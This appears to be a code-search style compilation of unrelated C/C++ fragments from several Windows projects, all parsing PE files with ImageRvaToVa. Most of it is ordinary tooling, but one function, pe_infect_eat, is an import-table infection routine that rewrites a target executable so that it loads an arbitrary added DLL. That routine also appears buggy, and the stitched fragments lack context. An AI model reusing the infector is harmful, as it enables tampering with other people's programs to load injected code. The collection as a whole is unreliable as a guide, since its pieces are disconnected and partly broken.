void GetLinkedModulesInfo(TCHAR *moduleName, CMString &buffer) { HANDLE hDllFile = CreateFile(moduleName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDllFile == INVALID_HANDLE_VALUE) return; HANDLE hDllMapping = CreateFileMapping(hDllFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hDllMapping == INVALID_HANDLE_VALUE) { CloseHandle(hDllFile); return; } LPVOID dllAddr = MapViewOfFile(hDllMapping, FILE_MAP_READ, 0, 0, 0); static const TCHAR format[] = TEXT(" Plugin statically linked to missing module: %S\r\n"); __try { PIMAGE_NT_HEADERS nthdrs = ImageNtHeader(dllAddr); ULONG tableSize; PIMAGE_IMPORT_DESCRIPTOR importData = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(dllAddr, FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &tableSize); if (importData) { while (importData->Name) { char* moduleName = (char*)ImageRvaToVa(nthdrs, dllAddr, importData->Name, NULL); if (!SearchPathA(NULL, moduleName, NULL, NULL, 0, NULL)) buffer.AppendFormat(format, moduleName); importData++; //go to next record } } bool found = false; PIMAGE_EXPORT_DIRECTORY exportData = (PIMAGE_EXPORT_DIRECTORY)ImageDirectoryEntryToData(dllAddr, FALSE, IMAGE_DIRECTORY_ENTRY_EXPORT, &tableSize); if (exportData) { ULONG* funcAddr = (ULONG*)ImageRvaToVa(nthdrs, dllAddr, exportData->AddressOfNames, NULL); for (unsigned i = 0; i < exportData->NumberOfNames && !found; ++i) { char* funcName = (char*)ImageRvaToVa(nthdrs, dllAddr, funcAddr[i], NULL); found = mir_strcmp(funcName, "MirandaPluginInfoEx") == 0 || mir_strcmp(funcName, "MirandaPluginInfo") == 0; if (mir_strcmp(funcName, "DatabasePluginInfo") == 0) { buffer.Append(TEXT(" This dll is a Miranda database plugin, another database is active right now\r\n")); found = true; } } } if (!found) buffer.Append(TEXT(" This dll is not a Miranda plugin and should be removed from plugins directory\r\n")); } __except (EXCEPTION_EXECUTE_HANDLER) {} UnmapViewOfFile(dllAddr); CloseHandle(hDllMapping); CloseHandle(hDllFile); }
struct PE_get_imports_info* PE_get_imports (LOADED_IMAGE *im) { struct PE_get_imports_info* rt=DMALLOC(struct PE_get_imports_info, 1, "struct PE_get_imports_info"); bool PE32_plus=PE_is_PE32(im); rt->start_RVA=PE_get_import_descriptor_RVA(im, PE32_plus); IMAGE_IMPORT_DESCRIPTOR* import_dir=PE_get_import_descriptor(im, PE32_plus); if (import_dir==NULL) { free(rt); return NULL; // No imports }; rt->import_descriptors_t=PE_count_import_descriptors (im); rt->dlls=DMALLOC(struct PE_get_imports_DLL_info, rt->import_descriptors_t, "struct PE_get_imports_DLL_info"); int j; IMAGE_IMPORT_DESCRIPTOR *i; for (i=import_dir, j=0; i->OriginalFirstThunk; i++, j++) { address* OriginalFirstThunk_a=(address*)ImageRvaToVa (im->FileHeader, im->MappedAddress, i->OriginalFirstThunk, NULL); char* name=(char*)ImageRvaToVa (im->FileHeader, im->MappedAddress, i->Name, NULL); struct PE_get_imports_DLL_info* DLL=rt->dlls+j; DLL->DLL_name=DSTRDUP(name,"char*"); DLL->FirstThunk=i->FirstThunk; DLL->allocate_thunks=false; DLL->symbols_t=NULL_terminated_array_of_pointers_size((void**)OriginalFirstThunk_a); DLL->symbols=DMALLOC(char*, DLL->symbols_t, "char*"); DLL->hints=DMALLOC(wyde, DLL->symbols_t, "wyde"); for (address *s=OriginalFirstThunk_a, si=0; *s; s++, si++) { if (IS_SET(*s, REG_MSB)) { DLL->hints[si]=(*s)&0xFFFF; DLL->symbols[si]=NULL; } else { byte *tmp=(byte*)ImageRvaToVa(im->FileHeader, im->MappedAddress, *s, NULL); DLL->hints[si]=*(wyde*)tmp; DLL->symbols[si]=DSTRDUP ((char*)(tmp+2), "symbol name"); }; }; }; return rt; };
static void* assembly_rva_to_va(ASSEMBLY *assembly, ULONG rva) { if (assembly->is_mapped_file) return ImageRvaToVa(assembly->nthdr, assembly->data, rva, NULL); else return assembly->data + rva; }
static HRESULT parse_metadata_header(ASSEMBLY *assembly, DWORD *hdrsz) { METADATAHDR *metadatahdr; BYTE *ptr, *dest; DWORD size, ofs; ULONG rva; rva = assembly->corhdr->MetaData.VirtualAddress; ptr = ImageRvaToVa(assembly->nthdr, assembly->data, rva, NULL); if (!ptr) return E_FAIL; metadatahdr = (METADATAHDR *)ptr; assembly->metadatahdr = HeapAlloc(GetProcessHeap(), 0, sizeof(METADATAHDR)); if (!assembly->metadatahdr) return E_OUTOFMEMORY; size = FIELD_OFFSET(METADATAHDR, Version); memcpy(assembly->metadatahdr, metadatahdr, size); assembly->metadatahdr->Version = (LPSTR)&metadatahdr->Version; ofs = FIELD_OFFSET(METADATAHDR, Flags); ptr += FIELD_OFFSET(METADATAHDR, Version) + metadatahdr->VersionLength + 1; dest = (BYTE *)assembly->metadatahdr + ofs; memcpy(dest, ptr, sizeof(METADATAHDR) - ofs); *hdrsz = sizeof(METADATAHDR) - sizeof(LPSTR) + metadatahdr->VersionLength + 1; return S_OK; }
// translate actual loaded pointer to to pointer within the loaded image const unsigned char * KImageModule::Address2ImagePointer(unsigned addr) { assert(m_imagebase_loaded); return (const unsigned char *) ImageRvaToVa(m_image.FileHeader, (void *) m_imagebase_loaded, addr - m_image.FileHeader->OptionalHeader.ImageBase, NULL); }
// translate symbol va address symbva to RVA symbva - mappedBase // translate RVA to pointer within the loaded image const unsigned char * KImageModule::GetImagePointer(unsigned symbva) { assert(m_imagebase_loaded); return (const unsigned char *) ImageRvaToVa(m_image.FileHeader, (void *) m_imagebase_loaded, symbva - m_imagebase_default, NULL); }
static bool search_syms_cb(const char *name, size_t modoffs, void *data) { search_data_t *sd = (search_data_t *) data; byte *addr = ImageRvaToVa(sd->img->FileHeader, sd->img->MappedAddress, (ULONG) modoffs, NULL); verbose_print("Found symbol \"%s\" at offs "PIFX" => "PFX"\n", name, modoffs, addr); process_syscall_wrapper(sd->dcontext, addr, name, "pdb"); return true; /* keep iterating */ }
int main(int argc, char *argv[]) { util_suppress_errmsg(); if (argc < 2) { fprintf(stderr, "usage: %s dllname\n", argv[0]); exit(1); } const char *dllname = argv[1]; LOADED_IMAGE img; if (MapAndLoad(dllname, NULL, &img, 1, 1) == FALSE) { fprintf(stderr, "cannot load DLL image\n"); exit(2); } IMAGE_EXPORT_DIRECTORY *dir; ULONG dirsize; dir = (IMAGE_EXPORT_DIRECTORY *)ImageDirectoryEntryToData( img.MappedAddress, 0 /* mapped as image */, IMAGE_DIRECTORY_ENTRY_EXPORT, &dirsize); if (dir == NULL) { fprintf(stderr, "cannot read image directory\n"); UnMapAndLoad(&img); exit(3); } DWORD *rva; rva = (DWORD *)ImageRvaToVa(img.FileHeader, img.MappedAddress, dir->AddressOfNames, NULL); for (DWORD i = 0; i < dir->NumberOfNames; i++) { char *name = (char *)ImageRvaToVa(img.FileHeader, img.MappedAddress, rva[i], NULL); printf("%s\n", name); } UnMapAndLoad(&img); return 0; }
DWORD pe_getImportOriFuncAddressByOrdinal(PVOID lpBase,LPSTR lpDllName,DWORD dwOrdinal) { //获得dos头部 PIMAGE_DOS_HEADER pImage_dos_header=(PIMAGE_DOS_HEADER)lpBase; //获得nt头部 PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((ULONG)lpBase + pImage_dos_header->e_lfanew); //获得导入表 PIMAGE_IMPORT_DESCRIPTOR pImage_import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(pImage_nt_header,lpBase,pImage_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,NULL); //遍历导入表 while(pImage_import_descriptor->Characteristics != 0) { if (!stricmp((LPSTR)ImageRvaToVa(pImage_nt_header,lpBase,pImage_import_descriptor->Name,NULL),lpDllName)) { // return *(PDWORD)ImageRvaToVa(pImage_nt_header,lpBase,pImage_import_descriptor->FirstThunk + dwOrdinal*4,NULL); } pImage_import_descriptor++; }; }
DWORD pe_getExportOriFuncAddressByOrdinal(PVOID lpBase,DWORD dwOrdinal) { // PIMAGE_DOS_HEADER pImage_dos_header = (PIMAGE_DOS_HEADER)lpBase; // PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((PBYTE)lpBase + pImage_dos_header->e_lfanew); // PIMAGE_EXPORT_DIRECTORY pImage_export_directory = (PIMAGE_EXPORT_DIRECTORY)ImageRvaToVa(pImage_nt_header,lpBase,pImage_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,NULL); if (!pImage_export_directory) { return -1; } // DWORD dwOriFuncAddr = *(PDWORD)ImageRvaToVa(pImage_nt_header,lpBase,pImage_export_directory->AddressOfFunctions + dwOrdinal * 4,NULL); // return dwOriFuncAddr; }
void initializeFSM() { LOADED_IMAGE image; PSTR imageFilename; //imageFilename = argv[1]; //imageFilename = "test_short_instruction.exe"; //imageFilename = "test_prefix.exe"; //imageFilename = "prefix_4_opcode_1.exe"; imageFilename = "prefix_2_opcode_1_modRM_SIB_imm.exe"; //imageFilename = "opcode_1_modRM_SIB_imm.exe"; if (!MapAndLoad(imageFilename, NULL, &image, FALSE, TRUE)) { PRINT_ERROR("MapAndLoad", __FILE__, __LINE__); return; } g_va = ImageRvaToVa(image.FileHeader, image.MappedAddress, image.FileHeader->OptionalHeader.BaseOfCode, NULL); }
static HRESULT parse_clr_metadata(ASSEMBLY *assembly) { METADATASTREAMHDR *streamhdr; ULONG rva, i, ofs; LPSTR stream; HRESULT hr; DWORD hdrsz; BYTE *ptr; hr = parse_metadata_header(assembly, &hdrsz); if (FAILED(hr)) return hr; rva = assembly->corhdr->MetaData.VirtualAddress; ptr = ImageRvaToVa(assembly->nthdr, assembly->data, rva + hdrsz, NULL); if (!ptr) return E_FAIL; for (i = 0; i < assembly->metadatahdr->Streams; i++) { streamhdr = (METADATASTREAMHDR *)ptr; ofs = rva_to_offset(assembly->nthdr, rva + streamhdr->Offset); ptr += sizeof(METADATASTREAMHDR); stream = (LPSTR)ptr; if (!lstrcmpA(stream, "#~")) { hr = parse_clr_tables(assembly, ofs); if (FAILED(hr)) return hr; } else if (!lstrcmpA(stream, "#Strings") || !lstrcmpA(stream, "Strings")) assembly->strings = assembly_data_offset(assembly, ofs); else if (!lstrcmpA(stream, "#Blob") || !lstrcmpA(stream, "Blob")) assembly->blobs = assembly_data_offset(assembly, ofs); ptr += lstrlenA(stream) + 1; ptr = (BYTE *)(((UINT_PTR)ptr + 3) & ~3); /* align on DWORD boundary */ } return S_OK; }
static HRESULT parse_pe_header(ASSEMBLY *assembly) { IMAGE_DATA_DIRECTORY *datadirs; assembly->nthdr = ImageNtHeader(assembly->data); if (!assembly->nthdr) return E_FAIL; if (assembly->nthdr->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { IMAGE_OPTIONAL_HEADER64 *opthdr = (IMAGE_OPTIONAL_HEADER64 *)&assembly->nthdr->OptionalHeader; datadirs = opthdr->DataDirectory; } else { IMAGE_OPTIONAL_HEADER32 *opthdr = (IMAGE_OPTIONAL_HEADER32 *)&assembly->nthdr->OptionalHeader; datadirs = opthdr->DataDirectory; } if (!datadirs) return E_FAIL; if (!datadirs[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress || !datadirs[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size) { return E_FAIL; } assembly->corhdr = ImageRvaToVa(assembly->nthdr, assembly->data, datadirs[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress, NULL); if (!assembly->corhdr) return E_FAIL; return S_OK; }
//导入表感染 void pe_infect_eat(LPTSTR lpFilePath,LPSTR lpDllName,LPSTR lpFuncName,ppe_retn_msg p_msg) { //打开文件 HANDLE hFile = CreateFile(lpFilePath, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //打开文件失败 if(hFile == INVALID_HANDLE_VALUE) { p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't create file! error code : %d",GetLastError()); // return; } //获得文件大小 DWORD dwFileSize = GetFileSize(hFile , 0 ); //映射文件 HANDLE hMap = CreateFileMapping(hFile , 0 , PAGE_READWRITE , 0 , dwFileSize , 0); //文件映射内存失败 if(hMap == INVALID_HANDLE_VALUE) { CloseHandle(hFile); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't create file mapping! error code : %d",GetLastError()); // return ; } //获得映射基址 PBYTE lpBase = (PBYTE)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , dwFileSize); //文件映射内存失败 if(lpBase == NULL) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't map view of file! error code : %d",GetLastError()); // return ; } //dos PIMAGE_DOS_HEADER pImage_dos_header = (PIMAGE_DOS_HEADER)lpBase; //nt PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((DWORD)lpBase + pImage_dos_header->e_lfanew); // PIMAGE_OPTIONAL_HEADER32 pImage_optional_header = (PIMAGE_OPTIONAL_HEADER32)(lpBase + pImage_dos_header->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER)); //sec PIMAGE_SECTION_HEADER pImage_section_header = IMAGE_FIRST_SECTION(pImage_nt_header); //.text section PointerToRawData DWORD dwSectionOffset = pe_getTextSecOffset(pImage_section_header, pImage_nt_header->FileHeader.NumberOfSections); // if(dwSectionOffset == 0) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't find .text section!"); // return ; } /* PointerToRawData 为节区在PE文件中的偏移 SizeOfRawData >= VirtualSize VirtualSize 是节在内存中的长度 SizeOfRawData 则是VirtualSize经文件对齐后的尺寸。 比如: 你的.text的代码段长是0x110但是文件对齐尺寸是0x400,那.text的SizeOfRawData 就是0x400,而virtualSize就是0x110 */ //import PIMAGE_IMPORT_DESCRIPTOR pImage_import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(pImage_nt_header,lpBase,pImage_nt_header->OptionalHeader.DataDirectory[1].VirtualAddress,NULL); // int importTableCount = 0; //获得导入表的数目 while(pImage_import_descriptor[importTableCount].Characteristics != 0) { importTableCount ++; } //已有导入表数据的大小 DWORD dwBufferSize = sizeof(IMAGE_IMPORT_DESCRIPTOR) * importTableCount; //获得第一个块的va PBYTE pSectionEnd = lpBase + pImage_section_header->PointerToRawData + pImage_section_header->SizeOfRawData - 1; //空闲空间大小 UINT pPadSize = 0; //获得空闲空间大小 while(*pSectionEnd == 0) { pPadSize ++; pSectionEnd --; } // PBYTE pSectionStart = pSectionEnd; if (pPadSize < dwBufferSize + sizeof(IMAGE_IMPORT_DESCRIPTOR)) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"not enough space in .text section!"); // return ; } //复制原始的引入表到.text空闲空间里面 memcpy(pSectionStart,pImage_import_descriptor,dwBufferSize); //清空原始的引入表 memset(pImage_import_descriptor,0,dwBufferSize); //定义一个新的引入表 PIMAGE_IMPORT_DESCRIPTOR pImage_import_descriptor_new = PIMAGE_IMPORT_DESCRIPTOR(pSectionStart + dwBufferSize); //新的dll name strcpy((PCHAR)pImage_import_descriptor,lpDllName); PIMAGE_IMPORT_BY_NAME pImage_import_by_name = (PIMAGE_IMPORT_BY_NAME)((PCHAR)(pImage_import_descriptor + 1)) + 5; //image_thunk_data DWORD dwThunkData = (DWORD)ImageVaToRva(pImage_nt_header,lpBase,(ULONG)pImage_import_by_name); memcpy((PCHAR)(pImage_import_descriptor + 1), &dwThunkData, 4); pImage_import_by_name->Hint = 0; //复制函数名 strcpy((PCHAR)pImage_import_by_name->Name,lpFuncName); pImage_import_descriptor_new->Name = (DWORD)ImageVaToRva(pImage_nt_header,lpBase,(ULONG)pImage_import_descriptor); pImage_import_descriptor_new->FirstThunk = (DWORD)ImageVaToRva(pImage_nt_header,lpBase,(ULONG)(pImage_import_descriptor + 1)); pImage_import_descriptor_new->OriginalFirstThunk = (DWORD)ImageVaToRva(pImage_nt_header,lpBase,(ULONG)(pImage_import_descriptor + 1)); pImage_import_descriptor_new->ForwarderChain = 0; pImage_import_descriptor_new->TimeDateStamp = 0; pImage_optional_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)ImageVaToRva(pImage_nt_header,lpBase,(ULONG)(pSectionStart)); pImage_optional_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size +=sizeof(IMAGE_IMPORT_DESCRIPTOR); CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = true; // return ; }
/*********************************************************************** * BindImageEx (IMAGEHLP.@) * * Compute the virtual address of each function imported by a PE image * * PARAMS * * Flags [in] Bind options * ImageName [in] File name of the image to be bound * DllPath [in] Root of the fallback search path in case the ImageName file cannot be opened * SymbolPath [in] Symbol file root search path * StatusRoutine [in] Pointer to a status routine which will be called during the binding process * * RETURNS * Success: TRUE * Failure: FALSE * * NOTES * Binding is not implemented yet, so far this function only enumerates * all imported dlls/functions and returns TRUE. */ BOOL WINAPI BindImageEx( DWORD Flags, PCSTR ImageName, PCSTR DllPath, PCSTR SymbolPath, PIMAGEHLP_STATUS_ROUTINE StatusRoutine) { LOADED_IMAGE loaded_image; const IMAGE_IMPORT_DESCRIPTOR *import_desc; ULONG size; FIXME("(%d, %s, %s, %s, %p): semi-stub\n", Flags, debugstr_a(ImageName), debugstr_a(DllPath), debugstr_a(SymbolPath), StatusRoutine ); if (!(MapAndLoad(ImageName, DllPath, &loaded_image, TRUE, TRUE))) return FALSE; if (!(import_desc = RtlImageDirectoryEntryToData((HMODULE)loaded_image.MappedAddress, FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size))) { UnMapAndLoad(&loaded_image); return TRUE; /* No imported modules means nothing to bind, so we're done. */ } /* FIXME: Does native imagehlp support both 32-bit and 64-bit PE executables? */ #ifdef _WIN64 if (loaded_image.FileHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) #else if (loaded_image.FileHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC) #endif { FIXME("Wrong architecture in PE header, unable to enumerate imports\n"); UnMapAndLoad(&loaded_image); return TRUE; } for (; import_desc->Name && import_desc->FirstThunk; ++import_desc) { IMAGE_THUNK_DATA *thunk; char dll_fullname[MAX_PATH]; const char *dll_name; if (!(dll_name = ImageRvaToVa(loaded_image.FileHeader, loaded_image.MappedAddress, import_desc->Name, 0))) { UnMapAndLoad(&loaded_image); SetLastError(ERROR_INVALID_ACCESS); /* FIXME */ return FALSE; } if (StatusRoutine) StatusRoutine(BindImportModule, ImageName, dll_name, 0, 0); if (!SearchPathA(DllPath, dll_name, 0, sizeof(dll_fullname), dll_fullname, 0)) { UnMapAndLoad(&loaded_image); SetLastError(ERROR_FILE_NOT_FOUND); return FALSE; } if (!(thunk = ImageRvaToVa(loaded_image.FileHeader, loaded_image.MappedAddress, import_desc->OriginalFirstThunk ? import_desc->OriginalFirstThunk : import_desc->FirstThunk, 0))) { ERR("Can't grab thunk data of %s, going to next imported DLL\n", dll_name); continue; } for (; thunk->u1.Ordinal; ++thunk) { /* Ignoring ordinal imports for now */ if(!IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { IMAGE_IMPORT_BY_NAME *iibn; if (!(iibn = ImageRvaToVa(loaded_image.FileHeader, loaded_image.MappedAddress, thunk->u1.AddressOfData, 0))) { ERR("Can't grab import by name info, skipping to next ordinal\n"); continue; } if (StatusRoutine) StatusRoutine(BindImportProcedure, ImageName, dll_fullname, 0, (ULONG_PTR)iibn->Name); } } } UnMapAndLoad(&loaded_image); return TRUE; }
void * CPEFile::VaToPtr(DWORD dwVA) { PIMAGE_NT_HEADERS32 pNth = GetNtHeader(); DWORD dwRVA = dwVA-GetNtOptionalHeader()->ImageBase; return ImageRvaToVa(pNth,m_pFile->ImageBase,dwRVA,NULL); }
//查找导出表目录 bool pe_findExportDir(LPTSTR lpFilePath){ //打开文件 HANDLE hFile = CreateFile(lpFilePath, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //打开文件失败 if(hFile == INVALID_HANDLE_VALUE) { // return false; } //获得文件大小 DWORD dwFileSize = GetFileSize(hFile , 0 ); //映射文件 HANDLE hMap = CreateFileMapping(hFile , 0 , PAGE_READWRITE , 0 , dwFileSize , 0); //文件映射内存失败 if(hMap == INVALID_HANDLE_VALUE) { CloseHandle(hFile); // return false; } //获得映射基址 LPBYTE lpBase = (LPBYTE)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , dwFileSize); //文件映射内存失败 if(lpBase == NULL) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); // return false; } //获得dos头部 PIMAGE_DOS_HEADER pImage_dos_header=(PIMAGE_DOS_HEADER)lpBase; //获得nt头部 PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((ULONG)lpBase + pImage_dos_header->e_lfanew); //获得导出表 PIMAGE_EXPORT_DIRECTORY pImage_export_directory = (PIMAGE_EXPORT_DIRECTORY)ImageRvaToVa(pImage_nt_header,lpBase,pImage_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,NULL); // if(!pImage_export_directory) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); return false; } CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); return true; }
static void process_exports(void *dcontext, char *dllname, LOADED_IMAGE *img) { IMAGE_EXPORT_DIRECTORY *dir; IMAGE_SECTION_HEADER *sec; DWORD *name, *code; WORD *ordinal; const char *string; ULONG size; uint i; byte *addr, *start_exports, *end_exports; verbose_print("Processing exports of \"%s\"\n", dllname); dir = (IMAGE_EXPORT_DIRECTORY *) ImageDirectoryEntryToData(img->MappedAddress, FALSE, IMAGE_DIRECTORY_ENTRY_EXPORT, &size); verbose_print("mapped at "PFX" (preferred "PFX"), exports 0x%08x, size 0x%x\n", img->MappedAddress, get_preferred_base(img), dir, size); start_exports = (byte *) dir; end_exports = start_exports + size; verbose_print("name=%s, ord base=0x%08x, names=%d 0x%08x\n", (char *) ImageRvaToVa(img->FileHeader, img->MappedAddress, dir->Name, NULL), dir->Base, dir->NumberOfNames, dir->AddressOfNames); /* don't limit functions to lie in .text -- * for ntdll, some exported routines have their code after .text, inside * ECODE section! */ sec = img->Sections; for (i = 0; i < img->NumberOfSections; i++) { verbose_print("Section %d %s: 0x%x + 0x%x == 0x%08x through 0x%08x\n", i, sec->Name, sec->VirtualAddress, sec->SizeOfRawData, ImageRvaToVa(img->FileHeader, img->MappedAddress, sec->VirtualAddress, NULL), (ptr_uint_t) ImageRvaToVa(img->FileHeader, img->MappedAddress, sec->VirtualAddress, NULL) + sec->SizeOfRawData); sec++; } name = (DWORD *) ImageRvaToVa(img->FileHeader, img->MappedAddress, dir->AddressOfNames, NULL); code = (DWORD *) ImageRvaToVa(img->FileHeader, img->MappedAddress, dir->AddressOfFunctions, NULL); ordinal = (WORD *) ImageRvaToVa(img->FileHeader, img->MappedAddress, dir->AddressOfNameOrdinals, NULL); verbose_print("names: from 0x%08x to 0x%08x\n", ImageRvaToVa(img->FileHeader, img->MappedAddress, name[0], NULL), ImageRvaToVa(img->FileHeader, img->MappedAddress, name[dir->NumberOfNames-1], NULL)); for (i = 0; i < dir->NumberOfNames; i++) { string = (char *) ImageRvaToVa(img->FileHeader, img->MappedAddress, name[i], NULL); /* ordinal is biased (dir->Base), but don't add base when using as index */ assert(dir->NumberOfFunctions > ordinal[i]); /* I don't understand why have to do RVA to VA here, when dumpbin /exports * seems to give the same offsets but by simply adding them to base we * get the appropriate code location -- but that doesn't work here... */ addr = ImageRvaToVa(img->FileHeader, img->MappedAddress, code[ordinal[i]], NULL); verbose_print("name=%s 0x%08x, ord=%d, code=0x%x -> 0x%08x\n", string, string, ordinal[i], code[ordinal[i]], addr); if (list_exports) { print("ord %3d offs 0x%08x %s\n", ordinal[i], addr - img->MappedAddress, string); } if (list_Ki && string[0] == 'K' && string[1] == 'i') { print("\n==================================================\n"); print("%s\n\n", string); check_Ki(string); print("\ndisassembly:\n"); decode_function(dcontext, addr); print( "==================================================\n"); } /* forwarded export points inside exports section */ if (addr >= start_exports && addr < end_exports) { if (list_forwards || verbose) { /* I've had issues w/ forwards before, so avoid printing crap */ if (addr[0] > 0 && addr[0] < 127) print("%s is forwarded to %.128s\n", string, addr); else print("ERROR identifying forwarded entry for %s\n", string); } } else if (list_syscalls) { process_syscall_wrapper(dcontext, addr, string, "export", img); } } }
static void process_symbols(void *dcontext, char *dllname, LOADED_IMAGE *img) { /* We have to specify the module via "modname!symname". * We must use the same modname as in full_path. */ char fullpath[MAX_PATH]; # define MAX_SYM_WITH_MOD_LEN 256 char sym_with_mod[MAX_SYM_WITH_MOD_LEN]; int len; drsym_error_t symres; char *fname = NULL, *c; search_data_t sd; if (drsym_init(NULL) != DRSYM_SUCCESS) { print("WARNING: unable to initialize symbol engine\n"); return; } if (dllname == NULL) return; fname = dllname; for (c = dllname; *c != '\0'; c++) { if (*c == '/' || *c == '\\') fname = c + 1; } assert(fname != NULL && "unable to get fname for module"); if (fname == NULL) return; /* now get rid of extension */ for (; c > fname && *c != '.'; c--) ; /* nothing */ assert(c > fname && "file has no extension"); assert(c - fname < BUFFER_SIZE_ELEMENTS(sym_with_mod) && "sizes way off"); len = dr_snprintf(sym_with_mod, BUFFER_SIZE_ELEMENTS(sym_with_mod), "%.*s!%s", c - fname, fname, SYM_PATTERN); assert(len > 0 && "error printing modname!symname"); NULL_TERMINATE_BUFFER(sym_with_mod); len = GetFullPathName(dllname, BUFFER_SIZE_ELEMENTS(fullpath), fullpath, NULL); assert(len > 0); NULL_TERMINATE_BUFFER(dllname); if (list_usercalls) { int i; for (i = 0; i < NUM_USERCALL; i++) { size_t offs; symres = drsym_lookup_symbol(fullpath, usercall_names[i], &offs, 0); if (symres == DRSYM_SUCCESS) { usercall_addr[i] = ImageRvaToVa(img->FileHeader, img->MappedAddress, (ULONG)offs, NULL); verbose_print("%s = %d +0x%x == "PFX"\n", usercall_names[i], symres, offs, usercall_addr[i]); } else { dr_printf("Error locating usercall %s: aborting\n", usercall_names[i]); return; } } } sd.dcontext = dcontext; sd.img = img; sd.modpath = fullpath; verbose_print("Searching \"%s\" for \"%s\"\n", fullpath, sym_with_mod); symres = drsym_search_symbols(fullpath, sym_with_mod, true, search_syms_cb, &sd); if (symres != DRSYM_SUCCESS) print("Error %d searching \"%s\" for \"%s\"\n", symres, fullpath, sym_with_mod); drsym_exit(); }
//查找目标程序有无目标模块 void pe_findDllModule(LPTSTR lpFilePath,LPSTR lpDllName,ppe_retn_msg p_msg) { //打开文件 HANDLE hFile = CreateFile(lpFilePath, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //打开文件失败 if(hFile == INVALID_HANDLE_VALUE) { p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't create file! error code : %d",GetLastError()); // return; } //获得文件大小 DWORD dwFileSize = GetFileSize(hFile , 0 ); //映射文件 HANDLE hMap = CreateFileMapping(hFile , 0 , PAGE_READWRITE , 0 , dwFileSize , 0); //文件映射内存失败 if(hMap == INVALID_HANDLE_VALUE) { CloseHandle(hFile); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't create file mapping! error code : %d",GetLastError()); // return ; } //获得映射基址 LPBYTE lpBase = (LPBYTE)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , dwFileSize); //文件映射内存失败 if(lpBase == NULL) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"can't map view of file! error code : %d",GetLastError()); // return ; } //获得dos头部 PIMAGE_DOS_HEADER pImage_dos_header=(PIMAGE_DOS_HEADER)lpBase; //获得nt头部 PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((ULONG)lpBase + pImage_dos_header->e_lfanew); //获得导入表 PIMAGE_IMPORT_DESCRIPTOR pImage_import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(pImage_nt_header,lpBase,pImage_nt_header->OptionalHeader.DataDirectory[1].VirtualAddress,NULL); //遍历导入表 while(pImage_import_descriptor->Name != NULL) { if (pImage_import_descriptor->OriginalFirstThunk == 0 && pImage_import_descriptor->FirstThunk == 0) { break; } //如果找到目标模块的话 if(!strcmpi((LPSTR)ImageRvaToVa(pImage_nt_header,lpBase,pImage_import_descriptor->Name,NULL),lpDllName)) { CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); p_msg->isSuccessed = true; return; } // pImage_import_descriptor ++; } CloseHandle(hFile); CloseHandle(hMap); UnmapViewOfFile(lpBase); //看来是没有找到 p_msg->isSuccessed = false; swprintf(p_msg->tsMsg,L"no error!"); }
